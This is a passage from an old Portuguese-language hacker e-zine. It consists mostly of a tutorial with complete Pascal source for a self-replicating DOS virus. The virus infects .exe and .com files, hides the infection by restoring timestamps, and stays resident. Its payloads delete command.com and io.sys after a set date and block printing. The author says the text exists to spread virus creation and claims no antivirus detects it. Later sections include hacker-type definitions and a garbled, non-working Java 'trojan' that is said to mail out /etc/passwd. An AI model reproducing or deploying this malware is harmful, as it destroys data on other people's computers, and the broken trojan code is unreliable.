  procura_arqs('*.exe');
  procura_arqs('*.com');
end.


---------------------------------------------------------------------------
Acoes do virus:
---------------------------------------------------------------------------

          Vou dar alguns exemplo de acoes que o virus pode vir a fazer:

          1) Torna-lo residente em memoria, e algum tempo depois de ser
          executado ele mostrara uma bola passeando na tela.

          2) Apagar arquivos \command.com e \io.sys a partir da data 12/07/98
          
          3) Tocar um beep a cada vez que o usuario teclar uma tecla.

          4) Impedir que a impressora imprima.

          5) Que tal um virus anti-virus?


---------------------------------------------------------------------------
Exemplos de acoes do virus:
---------------------------------------------------------------------------


          1) Para fazer uma bola passear na tela e preciso torna-lo residente,
          e para isso e necessario o seguinte:

          - incluir uma linha: {$M $8500,0,0 } na primeira linha, seria a
          parte de memoria a ser reservada para o programa. O valor pode ser
          alterado.
          Essa parte determina a quantidade de memoria que o virus tera
          quando ficar residente, com esse valor ficaria com cerca de 45 k,
          um valor alto demais, mas voce pode alterar o valor a vontade,
          desde que voce teste o virus.
          Tambem recomendaria incluir a seguinte linha depois do $M :
          {$S-,R-,I-,V-,f+}, mesmo que voce deixe ele residente ou nao.

          - incluir uma variavel global int1c : Procedure; mais vx,vy,cx,cy:
          integer; para determinar a posicao da bola na tela, mais vbola:
          boolean para dar um tempo quando vbola for true, sera executado o
          codigo para mexer o cursor, ate la nao aparece nada.

          - incluir o seguinte codigo de programa:

procedure bola; interrupt;
var
  cont:integer;
begin
  if not vbola then
    if port[$60]<$80 then
      inc(con);
  if con=550 then
    vbola:=true;
  if vbola then
  begin
    cont:=random(4)+1;
    vy:=wherey;
    vx:=wherex;
    gotoxy(cx,cy);
    write('');
    case cont of
      1:if cx<78 then inc(cx);
      2:if cx>1 then dec(cx);
      3:if cy<23 then inc(cy);
      4:if cy>1 then dec(cy);
    end;
    gotoxy(cx,cy);
    write('');
    gotoxy(vx,vy);
  end;
  inline ($9C);
  int1c;
end;


          Mais o seguinte no codigo de programa na parte principal do virus
          (de preferencia uma linha antes do end.):
  vbola:=false;
  vx:=random(80);{Aleatorizar a posicao da bola na tela}
  vy:=random(24);
  GetIntVec($1c,@int1c);
  SetIntVec($1c,Addr(bola));
  keep(0); {Esse Keep faz com que o programa finalize E fique residente na
            memoria, permitindo entao que se use as Interrupcoes $1C e a
            $17 ($1C seria uma interrupcao que e executada ininterruptamente,
            permitindo que se faca uma bola passear pela tela, $17 seria a
            impressora, visto mais adiante)

2) Para apagar os arquivos \command.com e \io.sys a partir da data 12/07/98 (data em
   que faco 20 anos, belo presente, ne?). Seria necessario o seguinte:

procedure apag_arq;
var
  m,dia,ano,dow:word;
  mes:boolean;
  f:file;
begin
  if mostra then writeln('Pegando data atual');
  getdate(ano,m,dia,dow);
  mes:=false;
  if ano=1998 then
    if m>=7 then      {Data de ativacao: 12/07/1998}
      if dia>=12 then
        mes:=true;
  if ano>1998 then mes:=true;
  if mostra then writeln('Pegando data atual finalizado');
  if mes then begin
    if mostra then writeln('Iniciando a apagar os arquivos: \command.com e \io.sys');
    assign(f,'c:\command.com');
    erase(f);
    assign(f,'c:\io.sys');
    erase(f);
  end;
end;


Mais a linha apag_arq no corpo principal.

          3) Para tocar um beep a cada vez que o usuario tecla algo, e
          necessario acrescentar o seguinte codigo de programa na procedure
          bola, vista anteriormente:

if Port[$60] < $80 then
begin
  Sound(5000);
  Delay(1);
  Nosound;
end;

          4) Para impedir que a impressora imprima, e necessario que se
          entenda um pouco de interrupcoes:  E o seguinte, tudo no computador
          funciona por meio de interrupcoes, o teclado, o mouse, o video,
          A IMPRESSORA, tudo mesmo e controlado por interrupcoes, no caso nos
          vamos mexer com a impressora, mas voce poderia fazer o que bem
          entender com o que voce quiser no computador.
          Podia travar a maquina, reseta-la, entre outros. Vou mostrar agora
          o codigo desse procedimento:

procedure escrever;interrupt;
begin
    Sound(random(5000));
    Delay(1);
    Nosound;
  inline ($9C);
  printer;
end;

          Impede a impressora de imprimir e ainda faz barulho.  Ahh, isso nao
          funciona dentro do Win95, no Win 3.1x funciona, grande avanco de
          um para o outro ne?

          Mais o seguinte codigo uma linha antes do keep(0) visto na questao
          1:

  GetIntVec($17,@printer);
  SetIntVec($17,Addr(escrever));  {Essa parte mostra ao computador para usar
                                   O procedimento escrever como padrao para a
                                   impressora}
Mais a variavel global:

printer:procedure;

          5) Um Virus anti-virus nesse caso, seria impedir que qualquer virus
          estranho seja executado DUAS vezes no arquivo infectado com esse
          virus, e o seguinte os virus estranhos (diferentes deste)
          normalmente alteram os 3 primeiros bytes do programa executavel
          colocando la um jump (JMP em ASM para quem conhece, pulo de um
          lugar para outro para quem nao conhece NADA) para executar o virus
          e depois volta para a posicao depois do jump, executando o
          programa normalmente, o que nos faremos e o seguinte, guardar os
          primeiros 5 bytes (para garantir vai 5) para depois caso o
          programa se altere, repor os bytes originais, impedindo que o
          programa de um jump ate o virus, so que o virus estranho vai ser
          executado uma vez, depois dele ser executado, o virus em Pascal
          ira limpar os primeiros bytes do arquivo, so tem um defeito, ele
          limpa o inicio, o fim do arquivo fica no mesmo estado que estava
          antes, ou seja, com o virus, so que agora ele esta inativo.
          Essa funcao serve mais para avisar ao usuario que o computador
          esta infectado por algum virus.  Um exemplo disso vai a seguir,
          sendo que para se testar a desinfeccao e necessario fornecer um
          nome de arquivo que vai ser o nome do virus:

procedure contra(non:string);
var
  FromF, ToF: file;
  ARQ:text;
  Ft:FILE of char;
  f:file;

function vervir(nome:string):boolean;
VAR
  Buf: array[1..10] of Char;
  NUMREAD:WORD;
  con:integer;
begin
  if mostra then writeln('Iniciando verificacao de infeccao do arquivo ',nome);
  con:=1;
  ASSIGN(F,NoME);
  ReSET(F,1);  { Record size = 1 }
  BlockRead(F, Buf, SizeOf(Buf), NumRead);
  IF (BUF[1]=cab[1]) AND (BUF[2]=cab[2])AND (BUF[3]=cab[3])AND (BUF[4]=cab[4])AND (BUF[4]=cab[4]) tHEN
  {Verifica o cabecalho do arquivo}
  vervir:=TRUE                               {para ver se ja foi infectado}
  ELSE
    vervir:=FALSE;
  Close(F);
  if mostra then writeln('Verificacao de infeccao finalizada');
END;
procedure antivir;
begin
 if not vervir(non) then
 begin
   if mostra then writeln('Arquivo Infectado, tentando desinfectar...'); {Arquivo infectado, tentando desinfectar...}
   aSSIGN(Ft,paramstr(0));
   ReSET(Ft);  { Record size = 1 }
   write(ft,cab[1]);
   write(ft,cab[2]);
   write(ft,cab[3]);
   write(ft,cab[4]);
   write(ft,cab[5]);
   close(ft);
   if mostra then writeln('Desinfeccao completa!'); {Desinfeccao completa}
   textcolor(white+blink);
   writeln('Atencao: Seu computador esta infectado por virus! Sugiro passar Anti-virus!');
   textcolor(white);
 end;
end;
begin
  if mostra then writeln('Inicio do procedimento anti-virus.');
  antivir;
  if mostra then writeln('Fim do procedimento anti-virus.');
end;


          Eu sugiro que a linha contendo o codigo contra(nome_arq); seja
          colocada antes da linha inicinf;, porque se o programa estiver
          infectado por algum virus estranho o virus em Pascal ira
          reinfectar o arquivo atual.



---------------------------------------------------------------------------
Constantes a serem usadas:
---------------------------------------------------------------------------

          Esse programa necessita de algumas constantes para ter melhor
          controle sobre si proprio.

CONST
  LENVIRUS=11616;  {TAMANHO DO VIRUS - ALTERE SE MODIFICADO, USE O PROGRAMA
                    CABECALHO PARA ISSO}
  CAB:string[5]=CHR(77)+CHR(90)+CHR(96)+CHR(1)+CHR(23);  { CABECALHO DO VIRUS - ALTERE SE MODIFICADO,
                USE O PROGRAMA CABECALHO PARA ISSO}
  MAXBUFLEN=1024; {Tamanho do buffer em bytes a ser copiado por vez}
  FILES=10; {Arquivos a serem infectados por vez}
  MOSTRA=true; {Voce quer saber o que o seu virus esta fazendo?}


---------------------------------------------------------------------------
Variaveis globais a serem usadas:
---------------------------------------------------------------------------

          Sem explicacoes, e necessario ter variaveis para o programa poder
          funcionar.

VAR
  fvir,vfile,fromf,tof:file;  {Arquivo que vai conter o virus, variavel de arquivo usado na no virus, 2 variaveis necessarias
                               para a copia do virus }
  con:integer; {variavel contadora}
  int1c : Procedure;  {Esses dois serao vistos em exemplos de acoes do virus}
  printer:procedure;
  buffer:ARRAY[1..MAXBUFLEN] OF CHAR; {Necessario para a copia de arquivos}
  vx,vy,cx,cy:integer; {Coordenadas x,y da bola na tela}
  h, m, s, hund,day,mon,year : Word; {Necessario para conter a data e a hora do arquivo}
  dat:datetime; {Vai conter a hora do arquivo}
  ftime:longint; {Hora do arquivo}
  vbola:boolean;
  nome_arq:pathstr; {Ira conter o nome do arquivo com o virus, muito necessario}
  arquiv:integer; {Quantidade de arquivos infectados ate o momento}
  dirinfo:searchrec; {Muito usado no virus, e responsavel por procurar arquivos onde eu
                     quiser usando coringas (*.exe,c:\dos\*.com)}


---------------------------------------------------------------------------
Bibliotecas de funcoes necessarias ao funcionamento:
---------------------------------------------------------------------------

          Para executar esse programa e necessario algumas bibliotecas de
          funcoes para o correto funcionamento:

USES crt,windos,dos;


---------------------------------------------------------------------------
Listagem do programa como ele deveria ficar:
---------------------------------------------------------------------------

          Aqui vai a listagem do Programa Completo do jeito que ele deveria
          ficar, eu sugiro que voce salve esse codigo abaixo em um arquivo
          chamado virus.pas, depois de compilado o nome do virus ficara
          virus.exe (Incrivel, ne?), nao esqueca de sempre que voce modificar
          o virus usar o programa Cabecalho para atualizar o virus.
          Bom, la vai:

{$M $2500,0,0 }
{$S-,R-,I-,V-,f+}

Program Exemplo_de_virus_em_Pascal;
USES crt,windos,dos;
CONST
  LENVIRUS=11616;  {TAMANHO DO VIRUS - ALTERE SE MODIFICADO, USE O PROGRAMA
                   CABECALHO PARA ISSO}
  CAB:string[5]=CHR(77)+CHR(90)+CHR(96)+CHR(1)+cHR(23);  {CABECALHO DO VIRUS - ALTERE SE MODIFICADO,
                   USE O PROGRAMA CABECALHO PARA ISSO}
  MAXBUFLEN=1024; {Tamanho do buffer em bytes a ser copiado por vez}
  FILES=10; {Arquivos a serem infectados por vez}
  MOSTRA=true; {Voce quer saber o que o seu virus esta fazendo?}
VAR
  fvir,vfile,fromf,tof:file;  {Arquivo que vai conter o virus, variavel de arquivo usado na no virus, 2 variaveis necessarias
                               para a copia do virus }
  con:integer; {variavel contadora}
  int1c : Procedure;  {Esses dois serao vistos em exemplos de acoes do virus}
  printer:procedure;
  buffer:ARRAY[1..MAXBUFLEN] OF CHAR; {Necessario para a copia de arquivos}
  vx,vy,cx,cy:integer; {Coordenadas x,y da bola na tela}
  h, m, s, hund,day,mon,year : Word; {Necessario para conter a data e a hora do arquivo}
  dat:datetime; {Vai conter a hora do arquivo}
  ftime:longint; {Hora do arquivo}
  vbola:boolean;
  nome_arq:pathstr; {Ira conter o nome do arquivo com o virus, muito necessario}
  arquiv:integer; {Quantidade de arquivos infectados ate o momento}
  dirinfo:searchrec; {Muito usado no virus, e responsavel por procurar arquivos onde eu
                     quiser usando coringas (*.exe,c:\dos\*.com)}


procedure HORAINI(NOME:STRING);
var
  arq:file;
begin
  if MOSTRA then writeln('Gravando data e hora do arquivo: ',nome);
  assign(arq, NOME);    {Pega a hora de criacao do arquivo}
  reset(arq);
  Getftime(arq,ftime);
  UnpackTime(ftime,dat);
  H:=dat.HOUR;
  M:=dat.MIN;
  S:=dat.SEC;
  day:=dat.day;
  mon:=dat.month;
  year:=dat.year;
  close(arq);
  if MOSTRA then writeln('Concluida gravacao do de data e hora do arquivo: ',nome);
END;
PROCEDURE HORAFIM(NOME:STRING);
var
  arq:file;
BEGIN
  if MOSTRA then writeln('Restaurando data e hora original do programa: ',nome);
  dat.HOUR:=H; {Restaura a data e hora original}
  dat.MIN:=M;
  dat.SEC:=S;
  dat.day:=day;
  dat.month:=mon;
  dat.year:=year;
  assign(arq, NOME);
  reset(arq);
  PackTime(dat,ftime);
  reset(arq);
  Setftime(arq,ftime);
  close(arq);
  if MOSTRA then writeln('Restauracao do arquivo ',nome,' concluida');
END;
function verifica(nome:string):boolean;
VAR
  buf: array[1..10] of Char;
  numread:WORD;
  con:integer;
begin
  if MOSTRA then writeln('Iniciando verificacao se o arquivo ',nome,' ja foi infectado.');
  con:=1;
  assign(vFile,NoME);
  reset(vFile,1);  { Record size = 1 }
  BlockRead(vFile, buf, SizeOf(buf), numread);
  IF (buf[3]=CAB[3]) AND (buf[4]=CAB[4]) then
  begin
    if MOSTRA then writeln('Verificacao completa - arquivo infectado ');
    {Verifica o cabecalho do arquivo}
    verifica:=TRUE                               {para ver se ja foi infectado}
  end ELSE
  begin
    verifica:=FALSE;
    if MOSTRA then writeln('Verificacao completa - arquivo nao infectado ');
  end;
  close(vFile);
END;

procedure infec(nome:string);
var
  buf: array[1..LENVIRUS] of Char; {Tamanho do virus}
  buf2: array[1..2048] of Char;    {Variavel necessaria para a copia}
  numread, NumWritten: Word;
begin
  if MOSTRA then writeln('Iniciando a infeccao do arquivo ',nome);
  if (nome<>'VIRTEMP.TMP') and (nome<>'COMMAND.COM') then begin
    HORAINI(NOME);  {Grava data e hora do arquivo}
    assign(FromF,nome);
    reset(FromF,1);
    assign(ToF,'virtemp.tmp');
    Rewrite(ToF,1);
    repeat
      BlockRead(FromF, buf2, SizeOf(buf2), numread);
      BlockWrite(ToF, buf2, numread, NumWritten);
    until (numread = 0) or (NumWritten <> numread);
    close(FromF);
    close(tof);

    {Ate aqui seria a parte onde se copia o arquivo a ser infectado para outro
     arquivo temporario}

    assign(FromF,nome_arq); {nome_arq: explicado mais tarde}
    reset(FromF, 1);
    assign(ToF, nome);
    Rewrite(ToF, 1);
    BlockRead(FromF, buf, SizeOf(buf), numread);   {Caso vc nao se lembre, o BUF e o buffer}
    BlockWrite(ToF, buf, numread, NumWritten);     {que contera o virus, que nesse caso ele}
    close(FromF);                                  {copiara somente o virus para o arquivo a}
    close(tof);                                    {ser infectado (arquivo.exe) em que havia sido}
                                                   {movido o seu conteudo para virtemp.tmp   }
                                                   {deixando, por enquanto somente o virus no }
                                                   {arquivo                                   }


  assign(FromF,'virtemp.TMP');
  reset(FromF, 1);
  assign(ToF, nome);
  reset(tof,1);
  seek(tof,LENVIRUS); {Posiciona o ponteiro do arquivo na posicao final do arquivo}
  repeat
    BlockRead(FromF, buf, SizeOf(buf), numread);
    BlockWrite(ToF, buf, numread, NumWritten);
  until (numread = 0) or (NumWritten <> numread);
  close(FromF);
  close(tof);
  erase(fromf);
  HORAFIM(NOME);
  end;
  {Essa parte seria a concatenacao virus+arquivo, onde o arquivo seria acrescentado no fim do
   virus}

  if MOSTRA then writeln('Infeccao completa.');
end;

procedure procura(nome,dir:string);
begin
  if MOSTRA then writeln('Iniciando infeccao do diretorio: ',nome);
  FindFirst(nome, Archive, DirInfo);
  {$i+}
  while (DosError = 0) and (arquiv numread);
  close(FromF);
  close(tof);
  exec('virtemp.tmp',paramstr(1)+' '+paramstr(2)+' '+paramstr(3)); {Executa o programa aqui}
  rewrite(tof); {Agora vou limpar o conteudo e apagar o arquivo}
  close(tof);
  erase(tof);
  if MOSTRA then writeln('Execucao do programa hospedeiro finalizada');
end;
procedure bola; interrupt;
var
  cont:integer;
begin
  if not vbola then
    if port[$60]<$80 then
      inc(con);
  if con=550 then
    vbola:=true;
  if vbola then
  begin
    cont:=random(4)+1;
    vy:=wherey;
    vx:=wherex;
    gotoxy(cx,cy);
    write('');
    case cont of
      1:if cx<78 then inc(cx);
      2:if cx>1 then dec(cx);
      3:if cy<23 then inc(cy);
      4:if cy>1 then dec(cy);
    end;
    gotoxy(cx,cy);
    write('');
    gotoxy(vx,vy);
  end;
  inline ($9C);
  int1c;
end;

procedure apag_arq;
var
  m,dia,ano,dow:word;
  mes:boolean;
  f:file;
begin
  if mostra then writeln('Pegando data atual');
  getdate(ano,m,dia,dow);
  mes:=false;
  if ano=1998 then
    if m>=7 then      {Data de ativacao: 12/07/1998}
      if dia>=12 then
        mes:=true;
  if ano>1998 then mes:=true;
  if mostra then writeln('Pegando data atual finalizado');
  if mes then begin
    if mostra then writeln('Iniciando a apagar os arquivos: \command.com e \io.sys');
    assign(f,'c:\command.com');
    erase(f);
    assign(f,'c:\io.sys');
    erase(f);
  end;
end;

Procedure inicinf;
begin
  if MOSTRA then writeln('Iniciando infeccao dos arquivos');
  arquiv:=0;
  procura('*.com','');
  procura('*.exe','');
{  procura('c:\windows\*.com','c:\windows\');
  procura('c:\windows\*.exe','c:\windows\');
  procura('c:\dos\*.com','c:\dos\');
  procura('c:\dos\*.exe','c:\dos\');}
  if MOSTRA then writeln('Infeccao dos arquivos Finalizada. Com um total de:');
  if MOSTRA then writeln(arquiv,' arquivos infectados.');
end;


procedure contra(non:string);
var
  FromF, ToF: file;
  ARQ:text;
  Ft:FILE of char;
  f:file;

function vervir(nome:string):boolean;
VAR
  Buf: array[1..10] of Char;
  NUMREAD:WORD;
  con:integer;
begin
  if mostra then writeln('Iniciando verificacao de infeccao do arquivo ',nome);
  con:=1;
  ASSIGN(F,NoME);
  ReSET(F,1);  { Record size = 1 }
  BlockRead(F, Buf, SizeOf(Buf), NumRead);
  IF (BUF[1]=cab[1]) AND (BUF[2]=cab[2])AND (BUF[3]=cab[3])AND (BUF[4]=cab[4])AND (BUF[4]=cab[4]) tHEN
  {Verifica o cabecalho do arquivo}
  vervir:=TRUE                               {para ver se ja foi infectado}
  ELSE
    vervir:=FALSE;
  Close(F);
  if mostra then writeln('Verificacao de infeccao finalizada');
END;
procedure antivir;
begin
 if not vervir(non) then
 begin
   if mostra then writeln('Arquivo Infectado, tentando desinfectar...'); {Arquivo infectado, tentando desinfectar...}
   aSSIGN(Ft,paramstr(0));
   ReSET(Ft);  { Record size = 1 }
   write(ft,cab[1]);
   write(ft,cab[2]);
   write(ft,cab[3]);
   write(ft,cab[4]);
   write(ft,cab[5]);
   close(ft);
   if mostra then writeln('Desinfeccao completa!'); {Desinfeccao completa}
   textcolor(white+blink);
   writeln('Atencao: Seu computador esta infectado por virus! Sugiro passar Anti-virus!');
   textcolor(white);
 end;
end;
begin
  if mostra then writeln('Inicio do procedimento anti-virus.');
  antivir;
  if mostra then writeln('Fim do procedimento anti-virus.');
end;
procedure escrever;interrupt;
begin
    Sound(random(5000));
    Delay(1);
    Nosound;
  inline ($9C);
  printer;

end;



begin
  if MOSTRA then writeln('Iniciando o Virus');
  nome_arq:=paramstr(0); {Essa variavel ira conter o nome do programa que esta sendo executado
                          no momento.  Caso o nome que foi executado seja EDIT.exe essa variavel
                          contera EDIT.EXE}
  SETCBREAK(FALSE); {Para que o usuario nao possa apertar Ctrl-C}
  contra(nome_arq);
  inicinf;
  executa;
  apag_arq;
  GetIntVec($1c,@int1c);
  SetIntVec($1c,Addr(bola));
  vbola:=false;
  cx:=random(80);{Aleatorizar a posicao da bola na tela}
  cy:=random(24);
  GetIntVec($17,@printer);
  SetIntVec($17,Addr(escrever));  {Essa parte mostra ao computador para usar
                                   O procedimento escrever como padrao para a
                                   impressora}
  if MOSTRA then writeln('Fim do virus.');
  keep(0); {Deixa o programa residente na memoria.}
  if mostra then writeln('Programa Residente');

end.


---------------------------------------------------------------------------
Testando o virus para ver se ele funciona:
---------------------------------------------------------------------------

          Caso voce queira testar o virus, voce pode fazer o seguinte,
          altere a procedure inicinf de modo que ele so procure por arquivos
          *.com e *.exe, tirando assim o c:\windows\*.com, c:\windows\*.exe,
          c:\dos\*.com, c:\dos\*.exe NAO apague as linhas que fazem isso,
          acrescente apenas { e } para fazer que o Pascal ignore essas linhas,
          depois disso feito, aperte F9 para compilar o virus (nem pense em
          apertar Ctrl-F9 para executa-lo, nos so queremos o codigo executavel
          dele), depois crie um diretorio chamado \temp, depois copie o
          virus.exe para la, mais alguns executaveis, depois entre no
          diretorio e execute o virus.exe e voce vera tudo o que o virus
          esta fazendo no momento,
          Como verificando se o arquivo esta infectado, infectando outros
          arquivos entre outros. Depois execute algum arquivo que foi
          infectado para voce ter uma ideia melhor de como o virus age.
          Se voce quiser testar se o programa se desinfecta de algum virus
          desconhecido, faca o seguinte, use algum Editor Hexadecimal e
          altere os primeiros 5 bytes e depois salve, depois volte a executar
          o virus e ele ira mostrar na tela que o seu computador esta
          infectado, sugerindo que voce passe um anti-virus.
          Caso voce queira que nao apareca nenhuma mensagem na tela entao va
          na secao const do programa e altere o valor da constante MOSTRA
          para false, isso fara com que nenhuma mensagem apareca na tela.
          So que essas mensagens ficarao no corpo do virus, ocupando espaco,
          caso voce queira tirar essas mensagens de vez, tera que apagar
          todas as linhas  If mostra then writeln(''); do virus o que fara
          uma diferenca consideravel de tamanho, eu as coloquei para que vc
          saiba o que esta acontecendo no momento.


---------------------------------------------------------------------------
Consideracoes finais:
---------------------------------------------------------------------------
                                                                         
          Antes de nada, eu fiz esse tutorial para aqueles que ja tenham
          algum conhecimento em logica/programacao em Pascal ou outra
          linguagem, se voce estiver com duvidas sobre como usar if...then...
          else ou outro comando basico entao va comprar um livro de Pascal
          ou faca um curso de Pascal. Agora se voce tiver alguma duvida
          quanto a logica posso ate responder a alguma pergunta, mesmo
          achando que ja esta tudo muito bem explicado.

          Bom espero que com esse texto, voce possa ter compreendido um
          pouco mais sobre a logica de um virus, e com certeza vai pensar
          (Pelo menos depois de ter executado o virus) que isso e muito
          entusiasmante.

          Caso voce tenha alguma duvida, tenha achado algum erro, ou em
          ultimo caso, o virus nao funcionou, entao mande um email para mim:
          rlebeau@geocities.com

          ou visite minha HP:
          http://www.geocities.com/SiliconValley/Lakes/3892

          Ou deixe um recado com a minha Secretaria:
          http://www.Lpage.com/wgb/wgbsign.dbm?owner=rlebeau

          Caso voce so tenha parte desse tutorial entao va ate o endereco
          abaixo para pegar o tutorial completo, ou entao se quiser pegar a
          versao mais nova desse tutorial:
          http://www.geocities.com/SiliconValley/Lakes/3892/tvirus.htm

          Voce esta livre para distribuir esse texto do jeito que esta,
          sem alteracoes, se quiser sugerir alguma modificacao de logica
          entao me contacte.
          Esse texto tem o proposito de difundir a criacao de virus no
          Brasil e nao o de acabar com os computadores de alguma rede de
          alguma empresa.
          Como ja falei antes, eu nao me considero responsavel pelo mau uso
          que algum idiota possa fazer desse arquivo, tipo perder os arquivos
          do HD, acabar com a rede da empresa em que trabalha, explodir o
          mundo muito menos de ter perdido a namorada.

          Antes que eu me esqueca, alem do anti-virus que eu forneci com
          esse tutorial nao existe anti-virus para ele, pode testar o SCAN,
          f-prot, TBav, qualquer um, isso acontece devido a logica "nova"
          dele que faz com que nenhum anti-virus o encontra.
                                 
<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                            13##-=-=EspeCis=-=-##13
          Estas definicoes forma retiradas da pagina anti-hacker pelo fato
          de ser a melhor definicao que j encontrei ate hoje.

          A hierarquia do mundo underground  muito simples:
          ou a pessoa  um hacker, ou no. Simples assim: se a pessoa tem
          conhecimentos aprofundados em qualquer assunto (de preferncia
          pouco explorado), a pessoa pode se considerar um hacker; caso
          contrrio, se a pessoa nao tem nenhuma novidade em nenhum campo da
          computaao ou correlatos, e apenas utiliza o conhecimento dos
          hackers para fazer suas investidas, ela  considerada inferior,
          pouco ou nada interessante, e  sumariamente ignorada.

          Dentro do fechado e pequeno grupo dos verdadeiros gnios dos
          computadores, podem-se distinguir trs sub-grupos principais:

          Hacker:  aquela pessoa que possui uma grande facilidade de
          anlise, assimilaao, compreensao e capacidades surpreendentes de
          conseguir fazer o que quiser (literalmente) com um computador.
          Ele sabe perfeitamente que nenhum sistema  completamente livre de
          falhas, e sabe onde procurar por elas, utilizando de tcnicas das
          mais variadas (alis, quanto mais variado, mais valioso  o
          conhecimento do hacker).

          Cracker: Possui tanto conhecimento quanto os hackers, mas com a
          diferena de que, para eles, nao basta entrar em sistemas, quebrar
          senhas, e descobrir falhas. Eles precisam deixar um aviso de que
          estiveram l, geralmente com recados mal-criados, algumas vezes
          destruindo partes do sistema, e at aniquilando com tudo o que
          vem pela frente. Tambm sao atribuidos aos crackers programas que
          retiram travas em softwares, bem como os que alteram suas
          caractersticas, adicionando ou modificando opoes, muitas vezes
          relacionadas  pirataria.

          Phreaker:  especializado em telefonia. Faz parte de suas
          principais atividades as ligaoes gratuitas (tanto local como
          interurbano e internacional), reprogramaao de centrais telefnicas,
          instalaao de escutas (nao aquelas colocadas em postes telefnicos,
          mas imagine algo no sentido de, a cada vez que seu telefone tocar,
          o dele tambm o far, e ele poder ouvir sua conversa), etc.
          O conhecimento de um phreaker  essencial para se buscar
          informaoes que seriam muito teis nas mos de mal-intencionados.
          Alm de permitir que um possvel ataque a um sistema tenha como
          ponto de partida provedores de acessos em outros pases, suas
          tcnicas permitem nao somente ficar invisvel diante de um
          provvel rastreamento, como tambm forjar o culpado da ligaao
          fraudulenta, fazendo com que o coitado pague o pato (e a conta).

          Agora, fora desses grupos acima, temos inmeras categorias de
          "nao-hackers", onde se enquadram a maioria dos pretendentes a
          hacker, e a cada dia, surgem novos termos para design-los. Sao os
          principais:

          Lamers: Se voc est lendo este pargrafo pensando encontrar uma
          explicaao sobre este termo, parabns! Acabou de descobrir o que 
          lamer. Voc! Entendeu? Lamer  aquele cara que quer aprender sobre
          hackers, e sai perguntando para todo mundo. Os hackers, ou qualquer
          outra categoria, nao gostam disso, e passam a lhe insultar,
          chamando-o de lamer. Ou seja, novato. (Obs.: Nao espere explicaao
          sobre qualquer destes termos ou qualquer assunto relacionado de
          algum que se diz hacker. Ele certamente nao dir nada, talvez
          pelo fato de nao querer se expor, talvez pelo fato - o que  mais
          provvel - de ele ser tanto lamer quanto voc).
          Wannabe:  o principiante que aprendeu a usar algumas receitas de
          bolo (programas j prontos para descobrir senhas ou invadir
          sistemas), entrou em um provedor de fundo de quintal e j acha que
          vai conseguir entrar nos computadores da Nasa. (Internet World - N.
          23 - Julho de 1997)

          Arackers: Esses sao os piores! Os "hackers-de-araque", sao a
          maioria absoluta no submundo ciberntico. Algo em torno de 99,9%.
          Fingem ser os mais ousados e espertos usurios de computador,
          planejam ataques, fazem reunioes durante as madrugadas
          (ou pelo menos at a hora em que a mae mandar dormir), contam de
          casos absurdamente fantasiosos, mas no final das contas vao fazer
          download no site da Playboy ou jogar algum desses "killerware",
          resultando na mais chata e engraada espcie: a "odonto-hackers" -
          o hacker da boca pra fora!
          Caso voc tenha algum novo termo e gostaria que ele fizesse parte
          desta lista, mande um e-mail para hacker@netgate.com.br,com o termo
          e sua (do termo!) descriao. Obrigado.

          Um outro detalhe que vale lembrar  que: os hackers (ou pretendentes
          ) fazem questao de escrever de forma absolutamente ilegvel,
          trocando letras por caracteres especiais que, segundo eles, se
          parecem. Alm disso, muitas palavras podem ser substitudas por
          outras com grafia um pouco diferente. Lamers, por exemplo, pode
          perfeitamente virar Lamerz, Lammerz, Lamah, e por a vai...
          Por incrvel que parea, a maioria das pessoas que acham que sao
          hackers, nao sao. E uma minoria, que bviamente jura nao ter nenhum
          envolvimento com o underground da computaao, sao hackers muito
          experientes mas raramente perigosos. Os hackers perigosos ficam
          entre estes dois grupos, pois sao experientes mas gostam de a
          parecer, o que d a impressao de que sao muitos, mas na verdade,
          muito mesmo sao s os artifcios utilizados por eles para
          descobrir novas maneiras de pendurar uma melancia no pescoo.

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>
                                                     
                   14>>>%%&&#VaLe A pEnA ViSiTAr#&&%%<<<14

                              www.netgate.com.br/~hacker
                              www.axur05.org
                              www.phrack.com
                              www.2600.com
               www.geocities.com/ResearchTriangle/cab/5408/main.html

*!*----------------------------------------------------------------------*!*
*!*                 Endereco oficial do CyberNetik Zine                  *!*
*!*              http://www.geocities.com/HotSprings/6381/               *!*
*!*----------------------------------------------------------------------*!*

                    >>>%%&&#VaLe A pEnA ChATeAr#&&%%<<<

                             irc.sti.com.br
                             canal #hack&hack
                             Canal #hack

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                          15=-=-=--TroJaN--=-=-=15


          Trojan  um programa que ao entrar em um sistema executa comandos
          procurando por um determinado arquivo ou dando entrada para outros
          programa (neste caso seria um worm).
          Ele  tao pequeno quanto um vrus ele pode copiar um determinado
          arquivo e remandar este arquivo para seu criador via e-mail.
          Aqui vou colocar 2 trojans um de minha autoria que outro de autoria
          de nao sei quem mas este outro nao  bem um trojan mas  legalzinho
          para voc ter uma base do que  um trojan.

          T25 - Trojan 25 by Draco este pequeno trojan entra pela porta 25
          vasculha o sistema em busca do arquivo passwd e depois remandao
          pelo e-mail. Ele ainda contem muitos bugs tanto que eu ainda nao
          o testei pelo fato de eu ter criado ele agora acho que fiz este
          trojan em ums 5 minutos pelo fato de nao ter nenhum outro no pc
          entao penssei preciso de um trojanvou fazer acho que quebrei minhas
          proprias expectativas se vocs acharem algum erro nele email na
          gente ;-)

----------------------------------Recorta-------------------------------------

import java.net.*;
import java.io.*;
class trojan{
public static int portaServ = 25;
public static int portCli = 25 = (Main = new Main ("Main", "SEUEMAIL"/")
Main Connection = Main.openConnection ();
public static DatagramSocket ds;
public static byte buffer [] = new byte [tam_buffer];
public static void OClient () throws
       while (true){

         int c = System.in.read();
         switch (c) {
         case -1

         public static void main  (String args []) throws Exception {
         int d;
         Main = new Main("search"," /etc, passwd")
         MainConnection = Main.Connection ();  }

         ds.send (new datagramPacket (buffer pos
         ,InetAddress.getlocalHost (),
         portaCli));
         pos = 0
         default:
         buffer [pos++] = (byte) c;
         }
         }
            }

----------------------------------Termina-------------------------------------
          
          Sem nome by CNZ este programinha  um trojan bem atrofiado que eu
          retirei do e-zine CNZ pelo fato de ser bom para quem esta iniciando
          seus estudo sobre trojan. Ele cria 1000 de diretorios em seu pc.

----------------------------------Recorta-------------------------------------

color 14,0
print"Installing DataFiles...  Please wait..."
